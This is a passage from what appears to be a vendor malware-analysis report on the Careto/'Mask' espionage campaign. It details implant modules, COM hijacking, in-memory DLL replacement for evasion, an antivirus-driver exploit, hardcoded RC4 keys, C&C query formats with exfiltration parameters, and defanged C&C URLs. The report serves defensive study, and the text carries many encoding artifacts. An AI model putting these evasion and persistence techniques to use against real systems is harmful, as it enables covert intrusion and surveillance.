with \xe2\x80\x9c*\xe2\x80\x9d in the data. If found, it exits. The module contains three encrypted blocks in its body. The biggest one (first block) is 205.638 bytes long and is an encrypted CAB file that contains the actual payload to be installed. The second one is a 96-byte long configuration block that controls the filename to be used during the installation and the file description. In our case, the name was \xe2\x80\x9cobjframe.dll\xe2\x80\x9d. To decrypt the payload\xe2\x80\x99s and installer\xe2\x80\x99s configuration, the attackers use a fixed RC4 key: ""!$7be&.Kaw-12[}"". The third block is 880 bytes long and contains the configuration of the payload itself. It is written in the body of the installed binary and decrypted by that binary during operation. To write this configuration block, the module searches for a magic binary string and copies an encrypted configuration block by the marker. The resulting file is then installed into the system. The magic markers are expected to be located 0x10 bytes before the configuration block and 0x10 bytes after that block. 11 TLP: GREEN The CAB archive that holds the payloads contains two files: Name File Size Compilation Time Shlink64.dll 144384 bytes 14.07.2009 01:16:44 Shlink64.dll 106496 bytes 14.07.2009 01:16:44 The installer is 64-bit aware and extracts the file for the appropriate system architecture: \xe2\x80\x9cshlink32.dll\xe2\x80\x9d for a 32-bit system and \xe2\x80\x9cShlink64.dll\xe2\x80\x9d for 64-bit one, respectively. Installation is also Microsoft Windows version-aware. For Windows Vista and higher without administrator privileges, it installs into %APPDATA%. For previous Windows versions with administrator privileges, it installs in the %system% directory. The installer also verifies the system configuration and makes sure it works well under all situations. For instance, it checks if the value of the registry key ""HKLM\\Software\\Microsoft\\Windows\\Current Version\\Policies\\System"" is set to ""EnableLUA"" to determine if UAC enabled. If UAC is enabled, it defaults to user installation to evade any notification to the user. In the case that it failed to install to system directory, the module also falls back to userland installation. The userland installation path is: \xe2\x80\x9c%APPDATA%\\Microsoft\xe2\x80\x9d. In order to make the infection less obvious, it assigns itself the same file timestamp as of \xe2\x80\x9ckernel32.dll\xe2\x80\x9d during installation. Also it modifies the resources of the EXE being installed, so all its Version Information strings are taken from Kernel32 DLL except the filename and file description. These are taken from the encrypted configuration block, i.e.: File name: ""objframe.dll"". File description"" ""Microsoft\xc2\xae Object frame manager"" The payload is also registered as a COM object via registry entry: [HKCU\\Software\\Classes\\\\CLSID\\{ECD4FC4D-521C-11D0-B792- 00A0C90312E1}\\InprocServer32 ] %default%=%path to the installed payload file% The original registry value is saved in the following registry key: [HKLM\\Software\\Classes\\CLSID\\{E6BB64BE-0618-4353-9193- 0AFE606D6F0C}\\InprocServer32] %default%=%original registry value% 12 TLP: GREEN Main module We were able to locate several versions of the main module. As with the Installation Module, the files are compiled with Visual Studio 2005. File type: PE32/PE32+ DLL Compilation timestamps: 2004.08.04 07:54:15 (GMT), 2008.04.14 02:33:02 (GMT), 2009.07.14 01:09:01 (GMT), 2012.04.25 21:05:48 (GMT), 2012.10.03 04:58:02 (GMT), 2013.01.04 04:49:18 (GMT) File sizes: 110.592, 106.496, 144.384 bytes Technical details The main module is activated in every application that requests for the COM object referenced by the class ID it has overtaken: {ECD4FC4D-521C-11D0-B792-00A0C90312E1} Windows Explorer appears to be the primary target of this COM object hijacking. The name of the hijacked class is called \xe2\x80\x9cShell Rebar BandSite\xe2\x80\x9d. The module uses an interesting evasion technique to hide its presence in the system. Once activated, it first reads the registry value that points to the dynamic library that exports the original COM object: HKEY_CLASSES_ROOT\\CLSID\\{E6BB64BE-0618-4353-9193- 0AFE606D6F0C}\\InprocServer32 It loads the original library and modifies the module list of the process, first replacing its own entry with a copy of the data from the hijacked DLL, and then completely removes all references to itself in PEB LDR linked lists. Next, it loads one of the system libraries that is not currently loaded by the current process, from the following list: CHTBRKR.DLL CLICONFG.DLL DMCONFIG.DLL MFC42.DLL MFWMAAEC.DLL MSJET40.DLL NTDSA.DLL OAKLEY.DLL OPENGL32.DLL PIDGENX.DLL PNPUI.DLL QMGR.DLL QUARTZ.DLL VERIFIER.DLL WMDRMDEV.DLL WMDRMNET.DLL WMICMIPLUGIN.DLL WMNETMGR.DLL WPDSP.DLL 13 TLP: GREEN After the system library is loaded, its contents are overwritten with the malicious library, but the module path and other data are kept intact. So, to someone looking with a process analysis tool, the malicious library appears as a clean system DLL in the module list of the top process. It can be only identified by inspecting the actual contents of the memory allocated to the system library. The module transfers control to its copy by calling its DllMain function with DLL_THREAD_ATTACH parameter and a custom lpReserved value that points to a configuration structure containing a valid magic number. When DllMain is called with these parameters, it proceeds to execute its main functionality. First, it decrypts the CAB file from its body using the same RC4 key as in the installer module, and checks its contents. Name File Size Compilation Time dinner32.jpg 25088 bytes 14.07.2009 01:16:44 chef32.jpg waiter32.jpg 8192 bytes 94208 bytes 14.07.2009 01:16:44 14.07.2009 01:16:44 Figure 4. CAB contets for shlink32.dll Name File Size Compilation Time dinner64.jpg chef64.jpg waiter64.jpg dinner32.jpg 18432 bytes 10240 bytes 97280 bytes 25088 bytes 14.07.2009 01:16:44 14.07.2009 01:16:44 14.07.2009 01:16:44 14.07.2009 01:16:44 chef32.jpg waiter32.jpg 8192 bytes 94208 bytes 14.07.2009 01:16:44 14.07.2009 01:16:44 Figure 5. CAB contets for shlink64.dll The module searches for a file named \xe2\x80\x9cwaiter32.jpg\xe2\x80\x9d or \xe2\x80\x9cwaiter64.jpg\xe2\x80\x9d, depending on the platform. It loads this module the same way as its own copy, replacing another system DLL in memory and executes its DllMain function in DLL_THREAD_ATTACH mode and passes the configuration structure as the lpReserved parameter. The \xe2\x80\x9cwaiter\xe2\x80\x9d module is called in the \xe2\x80\x9cexplorer\xe2\x80\x9d mode of operation (see \xe2\x80\x9cWaiter module\xe2\x80\x9d). It then intercepts the \xe2\x80\x9cCreateProcessW\xe2\x80\x9d function in libraries \xe2\x80\x9cshell32.dll\xe2\x80\x9d and \xe2\x80\x9cieframe.dll\xe2\x80\x9d with its own routine. That routine modifies the process creation flags, forcing the process to start in suspended mode, and performs additional processing if the process being launched belongs to the list of browser\xe2\x80\x99s filenames: \xe2\x80\x9cIEXPLORE.EXE, FIREFOX.EXE, CHROME.EXE\xe2\x80\x9d. The module infects the intercepted browser processes by injecting all the three modules from the CAB archive in its memory: \xe2\x80\x9cdinner\xe2\x80\x9d, \xe2\x80\x9cchef\xe2\x80\x9d and \xe2\x80\x9cwaiter\xe2\x80\x9d. These modules are created in memory of the target process and execution is passed to the \xe2\x80\x9cdinner\xe2\x80\x9d module by queueing an APC call to its main function. The main module notifies its \xe2\x80\x9cwaiter\xe2\x80\x9d module about the injected modules and connects them using anonymous pipes. 14 TLP: GREEN \xe2\x80\x9cDinner\xe2\x80\x9d module This module is compiled as an executable, but its entry point function is only executed via an APC remote call and it accepts a single parameter. File type: PE32/PE32+ EXE Compilation timestamps: 2012.04.25 21:05:20 (GMT), 2012.04.25 21:05:40 (GMT), 2013.01.15 00:30:03 (GMT), 2013.01.15 20:18:55 (GMT), 2013.05.21 20:40:45 (GMT) File sizes: 25088, 18432 bytes Technical details It Loads the library \xe2\x80\x9ciertutil.dll\xe2\x80\x9d and patches its import in \xe2\x80\x9cadvapi32.dll\xe2\x80\x9d, \xe2\x80\x9cGetSidSubAuthority\xe2\x80\x9d. Then, it executes the command: iexplore.exe shell.{3F9F6D47-FE76-4B11-8B70-780ED19091B1} and also patches the \xe2\x80\x9cOpenEvent\xe2\x80\x9d and \xe2\x80\x9cCreateProcessW\xe2\x80\x9d API in \xe2\x80\x9cURLMON\xe2\x80\x9d library. After applying patches to the system libraries, the module reloads the \xe2\x80\x9cchef\xe2\x80\x9d and \xe2\x80\x9cwaiter\xe2\x80\x9d modules in system DLLs the same way as the main module and invokes the \xe2\x80\x9cwaiter\xe2\x80\x9d module in the \xe2\x80\x9cinternet\xe2\x80\x9d mode (See \xe2\x80\x9cWaiter module\xe2\x80\x9d). \xe2\x80\x9cChef\xe2\x80\x9d module This module implements network connectivity features for the package. File type: PE32/PE32+ DLL Compilation timestamps: 2012.04.25 21:02:09 (GMT), 2012.04.25 21:02:43 (GMT), 2013.01.15 00:27:54 (GMT), 2013.01.15 20:16:55 (GMT), 2013.05.21 20:38:23 (GMT) File sizes: 8192, 10240 bytes Technical details When loaded by the \xe2\x80\x9cdinner\xe2\x80\x9d module, it returns a structure that contains pointers to four functions. These functions can send HTTP/HTTPS \xe2\x80\x9cGET\xe2\x80\x9d and \xe2\x80\x9cPOST\xe2\x80\x9d requests using a given URL. The addresses of these functions are passed to the \xe2\x80\x9cwaiter\xe2\x80\x9d module. 15 TLP: GREEN The module uses the following fixed User-Agent string for all HTTP requests: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) \xe2\x80\x9cWaiter\xe2\x80\x9d module This module implements all the logic of the \xe2\x80\x9cCareto\xe2\x80\x9d package. File type: PE32/PE32+ DLL Compilation timestamps: 2012.04.25 21:02:02 (GMT), 2012.04.25 21:02:37 (GMT), 2013.01.15 00:27:54 (GMT), 2013.01.15 20:17:09 (GMT), 2013.05.21 20:38:36 (GMT) File sizes: 94208, 97280 bytes Technical details The encrypted configuration block is either loaded from the registry or taken from the caller and saved to the registry. The exact location of the registry key is read from the configuration block. Known locations are: HKCU/HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WindowsUpdate CISCNF4654 CISCNF0654 Figure 6. Decrypted configuration block In \xe2\x80\x9cexplorer\xe2\x80\x9d mode, it stores the handles of loaded modules and monitors the process termination to free unused handles. This is another example of careful the Careto 16 TLP: GREEN authors were to make sure the infected machine is stable and un-noticed by the victims. When executed in the \xe2\x80\x9cexplorer\xe2\x80\x9d mode, it waits 60 seconds for the dinner/chef pair to be properly loaded in the browser\xe2\x80\x99s process. Once there is such a process, it sends a command to its instance injected in the browser activating the connection to the C&C server. When running in the browser\xe2\x80\x99s process (\xe2\x80\x9cinternet\xe2\x80\x9d mode), it enters an infinite loop waiting for commands from the anonymous pipe provided by its \xe2\x80\x9cexplorer\xe2\x80\x9d mode instance and handles all C&C communication when requested. The C&C server provides the commands inside CAB files, one archive per request. The archive is expected to contain a text file named \xe2\x80\x9cMeta.inf\xe2\x80\x9d. This file contains various configuration parameters and commands to be executed by the module. #Wed Oct 09 14:55:09 BST 2013 AIT_PARAMS=-s -h -n -t -p -w 0 DLL32_FILE_NAME=CDllAIT32.dll DLL64_FILE_NAME=CDllAIT64.dll DATE_GENERATION=20131009T145509.009 TYPE=CMD CLIENT_ID=Client0650 CMD_SEQ=0001 INST_ID=4499149305321491 SUB_TYPE=CANNEDDLL TARGET_PROCESS=explorer PRODUCT_CODE=C314 W=0 Sample Meta.inf file The commands can be executed either in the module injected in browser, or by the original instance loaded via COM spoofing. The \xe2\x80\x9cTARGET_PROCESS\xe2\x80\x9d values are \xe2\x80\x9cinternet\xe2\x80\x9d and \xe2\x80\x9cexplorer\xe2\x80\x9d, determining the operation mode. 17 TLP: GREEN Below is the full list of implemented commands: UPLOAD Write a file from the CAB archive to the infected machine. The location can be relative to a CSIDL or environment variable. EXEC Launch the specified executable with parameters UPLOADEXEC Write a file from the CAB archive to the infected machine and then run it with the given parameters SYSTEMREPORT Compile a system report and upload it to C&C: \xe2\x97\x8f main module's file name \xe2\x97\x8f proxy server settings \xe2\x97\x8f list of installed programs \xe2\x97\x8f OS version, type, Service Pack version \xe2\x97\x8f list of network adapters' MAC addresses \xe2\x97\x8f availability of direct connection to www.microsoft.com:80 \xe2\x97\x8f values of environmental variables \xe2\x97\x8f list of users SETLATENCY Modify the delay before operation in the configuration block and update the registry. Report back in \xe2\x80\x9cSetLatencyLog.txt\xe2\x80\x9d CANNEDDLL Load the executable module from the CAB archive and execute it in memory. SETCFG Modify the data of the encrypted configuration block: primary or secondary URL of the C&C server, number of attempts to try for each of them. http://www.microsoft.com/ http://www.microsoft.com/ 18 TLP: GREEN 2.2.3. The SGH backdoor The SGH backdoor is a lot more sophisticated than the Careto implant. It is designed to perform a large amount of surveillance functions, on a highly modular platform that can be easily extended. Installation module This module installs the complete SGH software package using a custom installation script that is encrypted in its body. File type: PE32 EXE Compilation timestamps: 2013.05.09 11:20:08 (GMT), 2013.06.19 11:17:45 (GMT) File sizes: 348264, 359936 bytes Technical details The files are compiled with Visual Studio 2005. One version of the installer module is signed by a certificate from the same (fake?) company TecSystem Ltd from Bulgaria: Name of signer: TecSystem Ltd., Sofia, BG Serial: 0E808F231515BC519EEA1A73CDF3266F Validity: 2013.04.18 \xe2\x80\x93 2016.07.18 Digital Certificate The SGH package is somehow special and it is what originally attracted our attention to this cyberespionage operation. When started, it first tries to exploit a vulnerability in older Kaspersky products. The way the attack works is the following: first, it tries to open the handle of the Kaspersky system driver, \xe2\x80\x9c\\\\.\\KLIF\xe2\x80\x9d and sends a custom DeviceIoControl code. If the call succeeds, the module and all processed named \xe2\x80\x9cservices.exe\xe2\x80\x9d are no longer checked by the antivirus engine. This method theoretically allows the attacker to survive the addition of signatures for the malware components, as the product won\xe2\x80\x99t be able to detect them because they have been \xe2\x80\x9cwhitelisted\xe2\x80\x9d. In practice, we can say the attack is only half baked, because detection for the other top modules will precede SGH and kill it before it loads. Nevertheless, it was this attack against our older products that brought our attention to Careto and allowed us to discover it in the first place. The SGH module is relatively complex and has many functionalities, but in essence it is an infinitely extensible attack platform. In addition to the default plugins available in the installation module, the attackers can also deploy other extensions to perform more complex tasks. To operate, SGH uses encrypted virtual file systems that store extensions and activity logs. 19 TLP: GREEN On startup, the module locates a PE section with name \xe2\x80\x9c.inf\xe2\x80\x9d in its own file. This section contains the encrypted and compressed binary installation script. The section is decrypted with RC4 using a hardcoded key and then unpacked with \xe2\x80\x9czlib\xe2\x80\x9d\xe2\x80\x99s inflate function. The installer parses the script, executes all the commands and then deletes its own file and exits. The installation script is a list of binary tagged entries of variable length. Entries can be of one of the following types: 1, 19 Depending on the additional parameter, operate in one of the following modes: 1. Install the file into the victim's system 2. Download a file from a given URL (http, https, ftp, gopher) and either install it or treat as an additional installation script. The file can be installed into a directory of choice: - system directory - temporary directory - system drivers directory - other location specified in the installation entry 2 Remove a previously installed file 3 Write a registry value. Create the key if necessary. 4 Delete a registry value or a complete registry key, recursively. 5 Copy data from one registry value to another 6 Compare a registry value's date with the specified value. Abort the installation if the values are not equal. 7 Create a new system service 8 Delete a system service by name 9 Start a system service by name 10 Stop a system service by name 11 No operation 12 Create a process with given arguments 13 Show a message box 14 Append an existing registry value 15 Add an USB device filter via Windows Setup API 16 Remove an USB device filter via Windows Setup API 17 Add a certificate to the system Certificate Storage 18 Delete a certificate from the system Certificate Storage 20 Exit if the installer is NOT running in a virtual machine 21 Exit if the installer is running in a virtual machine 22 Infect the system \xe2\x80\x9cbootmgr\xe2\x80\x9d file with provided code 23 Write the buffer to a temporary file with prefix \xe2\x80\x9c___\xe2\x80\x9d and execute it 20 TLP: GREEN The installer module can detect if it is being executed in a VMWare or Microsoft Virtual PC virtual machine. We have discovered two different installation scripts so far. The decoded versions of these scripts look like the following: Script 1: Install file(SystemDir, awdcxc32.dll, 8192 bytes) Install file(SystemDir, mfcn30.dll, 17920 bytes) Install file(SystemDir, vchw9x.dll, 20992 bytes) Install file(SystemDir, awcodc32.dll, 24576 bytes) Install file(SystemDir, jpeg1x32.dll, 31744 bytes) Install file(SystemDir, bootfont.bin, 122912 bytes) Install file(DriversDir, scsimap.sys, 14464 bytes) WriteRegistry(80000002\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters, EnablePrefetcher) CreateService(scsimap, System32\\DRIVERS\\scsimap.sys) WriteRegistry(80000002\\SYSTEM\\CurrentControlSet\\Services\\scsimap\\Params, Value) StartService(scsimap) WriteTempExecute(9320 bytes) Script 2: Install file(SystemDir, awdcxc32.dll, 8192 bytes) Install file(SystemDir, mfcn30.dll, 17920 bytes) Install file(SystemDir, vchw9x.dll, 20992 bytes) Install file(SystemDir, awcodc32.dll, 24576 bytes) Install file(SystemDir, jpeg1x32.dll, 31744 bytes) Install file(SystemDir, bootfont.bin, 126880 bytes) Install file(DriversDir, scsimap.sys, 14464 bytes) WriteRegistry(80000002\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters, EnablePrefetcher) CreateService(scsimap, System32\\DRIVERS\\scsimap.sys) WriteRegistry(80000002\\SYSTEM\\CurrentControlSet\\Services\\scsimap\\Params, Value) StartService(scsimap) WriteTempExecute(10344 bytes) Install file(SystemDir, siiw9x.dll, 15360 bytes) StartService(ipfilterdriver) WriteRegistry(80000002\\SYSTEM\\CurrentControlSet\\Services\\IpFilterDriver, Start) It\xe2\x80\x99s important to point that the file names used for the DLLs during installation are not unique and are also used by legitimate software. For instance, the driver named \xe2\x80\x9cscsimap.sys\xe2\x80\x9d was present in older versions of Windows. If the installation script was executed successfully the infected machine now has a new system service named \xe2\x80\x9cscsimap\xe2\x80\x9d that loads the main SGH's driver \xe2\x80\x9cscsimap.sys\xe2\x80\x9d. 21 TLP: GREEN SGH plugin modules The following table provides the full list of plugin modules and a brief description of their functionality. Module name Functionality Scsimap Orchestrator module for the platform components Config Operates configuration data in registry Storage Used to store activity logs in the system Cipher Provides cryptographic functions to other modules Cmprss Provides compression functions to other modules Loaddll Injects DLL payloads into processes PGPsdkDriver Keylogger Fileflt Intercepts file operations and collects content Stopsec Implements an attack against Kaspersky products TdiFlt, TdiFlt2 Intercept network traffic awdcxc32 Interacts with scsimap driver from user mode awcodc32 Interacts with C&C server via vchw9x module mfcn30 Provides a framework to extend the malware with new plugins vchw9x Provides network connectivity functions jpeg1x32 siiw9x SkypeIE6Plugin Nmwcdlog d3dx8_20 WifiScan awview32 CDllUninstall Used for uninstalling the malware Screen saver module Intercepts and records Skype conversations Gathers information from Nokia devices Takes screenshots of victim\xc2\xb4s desktop Retrieves the list of WiFi networks Collects victim\xc2\xb4s email messages Uninstalls malware For a detailed description of the modules, please check APPENDIX 2: SGH Modules. 22 TLP: GREEN 2.2.4. The SBD backdoor In addition to Careto and SGH, the \xe2\x80\x9cMask\xe2\x80\x9d attackers use another backdoor based on the public, open source \xe2\x80\x9cnetcat\xe2\x80\x9d clone \xe2\x80\x9csbd\xe2\x80\x9d. \xe2\x80\x9csbd\xe2\x80\x9d stands for \xe2\x80\x9cShadowinteger's Backdoor\xe2\x80\x9d and has been available at least since 2004. Figure 7: Original sdb copyright notice This backdoor has been observed for Win32, OS X and Linux. The Linux variant gets installed from the exploit server \xe2\x80\x9clinkconf[dot]net\xe2\x80\x9d through the Firefox plugins. Unfortunately, the plugins we retrieved from the server were badly damaged and could not be recovered. Nevertheless, they do seem to exist and are in use by the Mask attackers. The Mozilla Firefox plugin which installs the Linux \xe2\x80\x9cSBD\xe2\x80\x9d backdoor: Archive: af_l_addon.xpi Name Length Method Size Ratio Date Time CRC 32 chrome.manifest 183 Defl:N 101 45% 10-07-13 14:30 cc37d585 install.rdf 1274 Defl:N 443 65% 10-07-13 14:30 add50a10 bootstrap.js 1798 Defl:N 695 61% 10-07-13 14:30 52eecaba content/browser.xul 166 Defl:N 134 19% 10-07-13 14:30 74e9bad7 content/icon.png 66793 Defl:N 66664 0% 10-07-13 14:30 27609d6e plugins/sbd-linux 26020 Defl:N 22406 14% 10-07-13 14:30 a02b2e21 The Mozilla Firefox plugin that installs the \xe2\x80\x9cSBD\xe2\x80\x9d OS X backdoor: Archive: af_m_addon.xpi Name Length Method Size Ratio Date Time CRC 32 chrome.manifest 183 Defl:N 102 44% 10-07-13 14:30 aeac29ae install.rdf 1274 Defl:N 443 65% 10-07-13 14:30 f5ee7026 bootstrap.js 1796 Defl:N 695 61% 10-07-13 14:30 d5fc6c9b content/browser.xul 166 Defl:N 134 19% 10-07-13 14:30 74e9bad7 content/icon.png 66793 Defl:N 66664 0% 10-07-13 14:30 27609d6e plugins/sbd-mac 42720 Defl:N 37072 13% 10-07-13 14:30 12d19684 We were able to recover a working copy of the OS X \xe2\x80\x9csbd\xe2\x80\x9d backdoor, which we describe below. 23 TLP: GREEN 2.2.5. The OSX SBD backdoor The original OS X dropper found on the exploit server has the following identification information: File name: banner.jpg Type: Mach-O x86 32 bit binary MD5: 02e75580f15826d20fffb43b1a50344c Size: 46876 bytes Identification details This is a dropper for the main SBD backdoor. First, it copies the standard Safari application to \xe2\x80\x9c /Applications/.DS_Store.app\xe2\x80\x9d. Next, it creates the file \xe2\x80\x9c""/Applications/.DS_Store.app/Contents/MacOS/Update\xe2\x80\x9d and unpacks the main backdoor code into there. The installer carefully copies the timestamp from the original Safari \xe2\x80\x9cContents/Info.plist\xe2\x80\x9d for the backdoor, to make it harder to notice. For persistence, it modifies the \xe2\x80\x9c/Applications/.DS_Store.app/Contents/Info.plist\xe2\x80\x9d file with a reference to the main backdoor body, also carefully setting the timestamp on the \xe2\x80\x9c.plist\xe2\x80\x9d file, then it registers it in the system via \xe2\x80\x9cLibrary/LaunchAgents/com.apple.launchport.plist\xe2\x80\x9d. The \xe2\x80\x9c.plist\xe2\x80\x9d and main backdoor body are stored in the dropper in compressed (\xe2\x80\x9cbzip2\xe2\x80\x9d) format. They have the following identification information: Main \xe2\x80\x9cSBD\xe2\x80\x9d backdoor, OS X: Type: Mach-O x86 32 bit binary MD5: 1342ac151eea7a03d51660bb5db018d9 Size: 89828 bytes \xe2\x80\x9c.plist\xe2\x80\x9d data: Size: 582 bytes MD5: 4dae42d1b80c85b396546ed02a00e328 The Mask\xe2\x80\x99 version of the \xe2\x80\x9csbd\xe2\x80\x9d backdoor has a hardcoded C&C server, to which it connects on port 443. The attackers can then directly access the victim\xe2\x80\x99s machine through a shell. All important strings in the backdoor are encrypted with a simple XOR - for even positions, it is XOR 0x7f, for odd positions it is XOR 0x10. The C&C communication is encrypted with AES and uses SHA1 for cross- authentication. The encryption key used for communication is the following string 24 TLP: GREEN \xe2\x80\x9c/dev/null strdup() setuid(geteuid())\xe2\x80\x9d. The server address is encoded in the binary as follows: Figure 8: Encoded C&C address After applying th decryption algorithm, we get the real C&C address: itunes212.appleupdt[dot]com By means of passive DNS fingerprinting, we identified two other domains used by the attackers as C&C\xe2\x80\x99s. Here\xe2\x80\x99s a full list of the C&C servers for the OS X backdoor: Host name IP Server location itunes212.appleupdt.com 200.46.107.115 Panama, Net2net Corp. itunes214.appleupdt.com 200.46.107.116 Panama, Net2net Corp. itunes311.appleupdt.com 200.46.107.117 Panama, Net2net Corp. As of Feb 6th, 2014, the OS X \xe2\x80\x9cSBD\xe2\x80\x9d backdoor C&C domains have been suspended by Apple. 25 TLP: GREEN 2.3. Digital certificates Most Careto samples we obtained are signed by two different digital certificates belonging to the same company TecSystem Ltd, from Bulgaria. We don\xc2\xb4t know if this company is legitimate. Certificate 1: e l 36 be 4a d4 57 f0 62 fa 77 d8 75 95 b8 cc c8 cf m 71 a4 ee 9d 5d 6a 26 85 1e 35 25 60 93 69 22 ee b6 d5 9a 1f Certificate 2: e l 0e 80 8f 23 15 15 bc 51 9e ea 1a 73 cd f3 26 6f m 34 10 f8 cf 77 e1 7a 51 36 45 16 18 0c 3e 6d 46 b6 6c 93 c4 The first certificate was valid between 28.Jun.2011 - 28.Jun.2013. The second certificate was valid from 18.Apr.2013 - 18.Jul.2016. Figure 9: Digital certificate used The second valid certificate has been blacklisted by Verisign. 26 TLP: GREEN 2.4. Exploit for Kaspersy\xc2\xb4s products We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware \xe2\x80\x9cinvisible\xe2\x80\x9d in the system. This vulnerability was solved in 2008, when all this module was remade from scratch and the communication protocol changed, including additional security checks. The attackers could have used this exploit for avoiding detection in some Workstation products prior version 6.0.4.*, and KAV/KIS 8.0 versions not updated properly (it was fixed during this release). Of course, this raised our interest and our research team decided to investigate further. In other words, the attackers attracted our attention by attempting to exploit Kaspersky Lab products. We have no knowledge of any other malware exploiting this vulnerability. 27 TLP: GREEN 2.5. Communication The communication between the C&Cs and the victims uses an encrypted protocol over HTTP or HTTPs. In case of the Careto implant, the C&C communication channel is protected with two layers of encryption. The data received from the C&C server is encrypted using a temporary AES key, which is also passed with the data and is encrypted with an RSA key. The same RSA key is used to encrypt the data that is sent back to the C&C server. This double encryption is uncommon and shows the high level of protection implemented by the authors of the campaign. So far, we observed two version of command and control modules, named \xe2\x80\x9cindex.cgi\xe2\x80\x9d, \xe2\x80\x9cmain.cgi\xe2\x80\x9d and \xe2\x80\x9ccommcgi.cgi\xe2\x80\x9d. These are used by the generations of the malicious modules to communicate with the attackers. The Careto implant uses \xe2\x80\x9cmain.cgi\xe2\x80\x9d, \xe2\x80\x9cindex.cgi\xe2\x80\x9d and \xe2\x80\x9ccommcgi.cgi\xe2\x80\x9d. SGH uses exclusively \xe2\x80\x9cindex.cgi\xe2\x80\x9d. During C&C connections, the \xe2\x80\x9cInstall\xe2\x80\x9d or \xe2\x80\x9cInst\xe2\x80\x9d parameters contain the unique ID assigned to the victim. Here\xe2\x80\x99s how a typical C&C query looks like: http(s)://SERVER/cgi-bin/commcgi.cgi? Group=XXX== &Install=VICTIMID &Ver=BACKDOORVERSION &Ask=BOOLEAN &Bn=NUMBER Known parameters for \xe2\x80\x9ccommcgi.cgi\xe2\x80\x9d and \xe2\x80\x9cindex.cgi\xe2\x80\x9d: Parameter Explanation Group Base-64 encoded hash of the first 16 bytes of the victim identifier Install Unique victim identifier Ver Implant version; C for Careto, S for SGH. Ask Request mode: \xe2\x80\x9c1\xe2\x80\x9d - requesting commands, \xe2\x80\x9c0\xe2\x80\x9d - reporting results CmdId Command id Ack Acknowledge on successful command execution on victim\xe2\x80\x99s machine Bn Hardcoded value, i.e. \xe2\x80\x9c3\xe2\x80\x9d 28 TLP: GREEN File Filename for exfiltrated data Offset Offset to write exfiltrated data Based on the \xe2\x80\x9cVer\xe2\x80\x9d parameter, we extracted the list of unique implant versions connecting to our sinkhole for the past weeks. Although most of the connections come from the Careto implant, there are some which indicate the possible presence of unknown versions. Figure 10: Sinkholed requests by version C314, the most popular ID, is used by the Careto module. C316 is the second most popular Careto module version. The \xe2\x80\x9cL\xe2\x80\x9d version of the implant is a mystery. We associate it with a version of Careto which we haven\xe2\x80\x99t been able to locate so far, perhaps the Linux variant. The C&C communication is also different from other modules. The \xe2\x80\x9cL\xe2\x80\x9d version communicates exclusively with the \xe2\x80\x9cindex.cgi\xe2\x80\x9d script. Finally, the \xe2\x80\x9cAND1.0.0.0\xe2\x80\x9d version identifier is the most interesting. The only known victim in the world running this version of the implant appears to be connecting through a 3G link, possibly indicating a mobile device. Also, there is no user agent string, as in other versions of Careto. The most likely explanation for the version name would be \xe2\x80\x9cAND(DROID)\xe2\x80\x9d, indicating a version of the implant for Google\xe2\x80\x99s Android OS. The \xe2\x80\x9cAND\xe2\x80\x9d implant communicates exclusively with the \xe2\x80\x9ccommcgi.cgi\xe2\x80\x9d. 29 TLP: GREEN 2.6. C&C Servers The backdoor modules communicates with command and control via HTTP or HTTPS, depending on the malware configuration. In all the cases we observed, the C&C expose a CGI based frontend via modules named \xe2\x80\x9cindex.cgi\xe2\x80\x9d and \xe2\x80\x9ccommcgi.cgi\xe2\x80\x9d. A list of collected C&C URLs from known modules is included below, together with server location. C&C URL Server IP, location hxxp://202.75.56.231/cgi-bin/index.cgi Malaysia, Kuala Lumpur, \xe2\x80\x9cTm Vads Dc Hosting\xe2\x80\x9d hxxp://202.75.58.153/cgi-bin/commcgi.cgi Malaysia, Kuala Lumpur, \xe2\x80\x9cTm Vads Dc Hosting\xe2\x80\x9d hxxp://cherry1962.dyndns.org/cgi-bin/index.cgi 202.75.56.231 Malaysia, Kuala Lumpur, \xe2\x80\x9cTm Vads Dc Hosting\xe2\x80\x9d hxxps://196.40.84.94/num Costa Rica, San Jose, \xe2\x80\x9cServicio Co- location Racsa\xe2\x80\x9d hxxps://202.150.214.50/cgi-bin/commcgi.cgi Singapore, \xe2\x80\x9cBenwu\xe2\x80\x9d hxxps://carrus.gotdns.com/cgi-bin/commcgi.cgi 202.75.56.123 Malaysia, Kuala Lumpur, \xe2\x80\x9cTm Vads Dc Hosting\xe2\x80\x9d hxxps://dfup.selfip.org/cgi-bin/commcgi.cgi 37.235.63.127 Austria, Graz, \xe2\x80\x9cEdis Gmbh\xe2\x80\x9d hxxps://redirserver.net/num 196.40.84.94, 190.10.9.209 Costa Rica, San Jose, \xe2\x80\x9cServicio Co- location Racsa\xe2\x80\x9d hxxps://wwnav.selfip.net/cgi-bin/commcgi.cgi 190.105.232.46 Argentina, Buenos Aires, \xe2\x80\x9cNicolas Chiarini\xe2\x80\x9d hxxps://81.0.233.15/cgi-bin/index.cgi Czech Republic, Prague, Casablanca Int hxxps://helpcenter1it6238.cz.cc/cgi- bin/commcgi.cgi 82.208.40.11 Czech Republic, Prague, Casablanca Int hxxps://helpcenter2br6932.cc/cgi- bin/commcgi.cgi n/a hxxps://223.25.232.161/cgi-bin/commcgi.cgi Singapore, \xe2\x80\x9cSg 8 To Sg\xe2\x80\x9d hxxps://oco-231-ms.xns01.com/cgi- bin/commcgi.cgi 223.25.232.161 Singapore, \xe2\x80\x9cSg 8 To Sg\xe2\x80\x9d 30 TLP: GREEN hxxps://75.126.146.114/cgi-bin/index.cgi United States, Dallas, \xe2\x80\x9cSoftlayer Technologies Inc.\xe2\x80\x9d hxxps://services.serveftp.org/cgi-bin/main.cgi 75.126.146.114 United States, Dallas, \xe2\x80\x9cSoftlayer Technologies Inc.\xe2\x80\x9d hxxps://ricush.ath.cx/cgi-bin/commcgi.cgi 75.126.146.114 United States, Dallas, \xe2\x80\x9cSoftlayer Technologies Inc.\xe2\x80\x9d hxxps://nthost.shacknet.nu/cgi-bin/index.cgi 190.105.232.46 Argentina, Buenos Aires, \xe2\x80\x9cNicolas Chiarini\xe2\x80\x9d We were able to obtain a copy of a C&C through one of our partners in Latin America, which allowed us to analyse how it works. C&C server structure A typical C&C server has the following structure: /var/www index.html < blank page /html < l nk o \xe2\x80\x9cCl en D ec o y\xe2\x80\x9d /cgi-bin /secure The /cgi-bin and /secure folders are described below. 